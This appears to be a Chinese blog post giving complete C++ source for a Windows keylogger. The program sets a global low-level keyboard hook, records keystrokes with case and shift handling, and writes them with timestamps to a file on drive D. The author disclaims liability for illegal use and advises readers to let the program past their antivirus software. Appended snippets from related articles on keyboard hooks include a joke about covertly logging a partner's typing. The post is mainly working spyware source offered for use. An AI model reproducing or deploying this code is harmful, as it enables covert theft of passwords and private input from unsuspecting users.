键盘钩子

发段代码纯属娱乐。

本人郑重声明:若被用于其他非法用途,本人不承担法律责任。

捕获键盘输入,区分大小写,区分上下档输入。

我电脑的某些键ascII码值与ascII表中的值不一致,所以重新做了个map表。若你的一致,只须稍微改下代码即可。

键盘输入保存在d盘根目录下。杀毒软件可能会拦截,允许操作就可以了。

#define _WIN32_WINNT 0x0400
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define WH_KEYBOARD_LL 13
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<windows.h>
#include<fstream>
#include<string>
#include<sstream>
#include<map>
using std::map;
using std::string;
using std::pair;
using std::endl;
using std::cout;

map<int,string>dictionary;
string recod_str;
std::ofstream out;
SYSTEMTIME systim;

DWORD   g_main_tid = 0;
HHOOK   g_kb_hook   = 0;

BOOL CALLBACK con_handler (DWORD)
{
        PostThreadMessage (g_main_tid, WM_QUIT, 0, 0);
        return TRUE;
};

int shift(int value){
	switch(value){
	case 48:return value-7;
	case 50:return value+14;
	case 49:
	case 51:
	case 52:
	case 53:return value-16;
	case 54:return value+40;
	case 56:return value-14;
	case 55:
	case 57:return value-17;
	case 187:return value-144;
	case 189:return value-94;
	case 192:return value-66;
	case 219:
	case 222:
	case 221:return value-96;
	case 186:
	case 188:
	case 190:
	case 191:return value-128;
	case 220:return value-188;

	default:return value;
	}
}
string getlocaltime(string &str){
	GetLocalTime( &systim );//get sys time
	std::stringstream ss;
	ss<<systim.wSecond;
	str = ss.str()+"------>>>>>>"+str;
	ss.str("");
	ss<<systim.wMinute;
	str = ss.str()+":"+str;
	ss.str("");
	ss<<systim.wHour;
	str = ss.str()+":"+str;
	ss.str("");
	ss<<systim.wDay;
	str = ss.str()+" "+str;
	ss.str("");
	ss<<systim.wMonth;
	str = ss.str()+"-"+str;
	ss.str("");
	ss<<systim.wYear;
	str = ss.str()+"-"+str;
	ss.str("");
	ss.str("");
	return str;
}
LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM lParam)
{
       PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
		static int a=0;
		static int state;
        const char *info = NULL;
        if (w == WM_KEYDOWN){

            info = "key dn";
			state = GetKeyState(VK_CAPITAL);
			int tmp = p->vkCode;
			if(state<=0&&tmp>64&&tmp<91){
				tmp = tmp+32;
			}
			int asyncState = GetAsyncKeyState(VK_SHIFT);

			if(asyncState<0){
				tmp = shift(tmp);
				//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
			}
			else
				//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
			recod_str += dictionary[tmp];
		}
		if(recod_str.size()>20){

			out.open("d:\\keylog.txt",std::ios::app);
			recod_str = getlocaltime(recod_str);
			out<<recod_str+"\n";
			cout<<"saved!"<<endl;
			out.close();
			recod_str = "";
		}
        return CallNextHookEx (g_kb_hook, code, w, lParam);

};
int main (void)
{
	dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
	dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
	dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
	dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘"));
	dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
	dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
	dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
	dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
	dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
	dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
	dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
	dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
	dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
	dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
	dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
	dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
	dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
	dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
	dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
	dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
	dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
	dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
	dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
	dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
	dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
	dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
	dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
	dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
	dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
	dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
	dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
	dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
	dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
	dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
	dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
	dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
	dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
	dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
	dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
	dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
	dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
	dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
	dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
	dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
	dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
	dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
	dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
	dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
	dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
	dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
	dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘"));
	dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
	dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
	dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
	dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
	dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
	dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
	dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
	dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
	dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
	dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
	dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
	dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
	dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
	dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
	dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
	dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
	dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
	dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
	dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
	dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
	dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
	dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
	dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
	dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
	dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
	dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
	dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
	dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
	dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
	dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
	dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
	dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
	dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
	dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
	dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
	dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
	dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
	dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
	dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
	dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
	dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
	dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
	dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
	dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(187,"="));
	dictionary.insert(pair<int,string>(189,"-"));dictionary.insert(pair<int,string>(192,"`"));
	dictionary.insert(pair<int,string>(219,"["));dictionary.insert(pair<int,string>(221,"]"));
	dictionary.insert(pair<int,string>(186,";"));dictionary.insert(pair<int,string>(222,"‘"));
	dictionary.insert(pair<int,string>(220,"\\"));dictionary.insert(pair<int,string>(188,","));
	dictionary.insert(pair<int,string>(190,"."));dictionary.insert(pair<int,string>(191,"/"));
    g_main_tid = GetCurrentThreadId ();
    SetConsoleCtrlHandler (&con_handler, TRUE);
    g_kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL,&kb_proc,
            GetModuleHandle (NULL), // 不能为NULL,否则失败
            0);
        if (g_kb_hook == NULL)
        {
            fprintf (stderr,
                "SetWindowsHookEx failed with error %d\n",
                ::GetLastError ());
            return 0;
        }
        // 消息循环是必须的,想知道原因可以查msdn
        MSG msg;
        while (GetMessage (&msg, NULL, 0, 0))
        {
            TranslateMessage (&msg);
            DispatchMessage (&msg);
        }
        UnhookWindowsHookEx (g_kb_hook);
        return 0;
}
 

欢迎大家讨论,共同进步。

键盘钩子

时间: 2024-08-03 21:34:43

键盘钩子的相关文章

使用raw input 代替全局键盘钩子

//关于raw input 请查看msdn https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536%28v=vs.85%29.aspx //效率 比 键盘钩子高太多 ,但是BCB 中无法识别 RAWINPUTDEVICE 结构 和RAW相关的函数 // rawinput4.cpp : 定义应用程序的入口点. // #include "stdafx.h" #include "rawinput4.h&qu

C#实现键盘钩子

前言: 因为项目中需要使用到快捷键,所以上网找资料了解关于快捷键的实现技术,于是有了键盘钩子的使用学习.在网上了解到,键盘钩子其实只是很多种钩子中的其中一种.所谓钩子:请看下面关于钩子的描述(来自百度百科): Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的.而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能. 钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理

键盘钩子 用来截屏

.点击开始按钮 .a窗体隐藏,b窗体显示 scsysrq截图 .需要在桌面创建bc文件夹. 总的思路就是用钩子获取键盘信息 然后进行截图的线程控制 using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Diagnostics;using System.Drawing;using System.Linq;using System.Runtime

win7和XP下全局键盘钩子的方法并不相同

win7: hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardHookProcedure, IntPtr.Zero, 0); XP: hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardHookProcedure, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]), 0); 可以先执行win7的语句,如果返回的hH

WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例

键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键时,可以考虑使用键盘钩子,如大家常用qq的截图快捷键,那么在WPF里怎么去实现呢? 当然不是直接在Window窗体里面去注册MouseLeftButtonDown.MouseLeftButtonUp,这样只有在程序是焦点的情况下才能触发, 我们这里要做的更为强大,即在非焦点下去获取到键盘的事件(要偷偷记录女朋友键盘记录的滚粗,当然我是在开玩笑,程序猿哪里有女朋友,我们只有

常规鼠标键盘钩子.映像劫持.开机自启动

using System;using System.Collections.Generic;using System.IO;using System.Windows.Forms;using System.Runtime.InteropServices;using System.Reflection; namespace HookTest{ /* 注意: 如果运行中出现SetWindowsHookEx的返回值为0,这是因为.net 调试模式的问题,具体的做法是禁用宿主进程,在 Visual Stu

C#键盘钩子 鼠标钩子

最新对C#模拟键盘按键,鼠标操作产生了兴趣.特从网上收集了一些常用的API用来调用键盘,鼠标操作. class Win32API { #region DLL导入 /// <summary> /// 用于设置窗口 /// </summary> /// <param name="hWnd"></param> /// <param name="hWndInsertAfter"></param> ///

钩子编程(HOOK) 安装进程内键盘钩子 (1)

摘要:钩子能够监视系统或进程中的各种事件消息.截获发往目标窗体的消息并进行处理.这样,我们就能够在系统中安装自己定义的钩子,监视系统中特定事件的发生.完毕特定的功能,比方截获键盘.鼠标的输入.屏幕取词,日志监视等等. 以下演示怎样安装进程内键盘钩子, Step 1:打开VC6.0.创建一个基于对话框的MFC应用程序. Step 2:在BOOL CHookDlg::OnInitDialog()函数上面编写例如以下代码:(注意是在上面编写.不是在OnInitDialog()里面) HHOOK g_h

C#鼠标键盘钩子

using System;using System.Collections.Generic; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; namespace ICS.Common { /// <summary> /// 这个类可以让你得到一个在运行中程序的所有键盘或鼠标事件 /// 并且引发一个带KeyEventArgs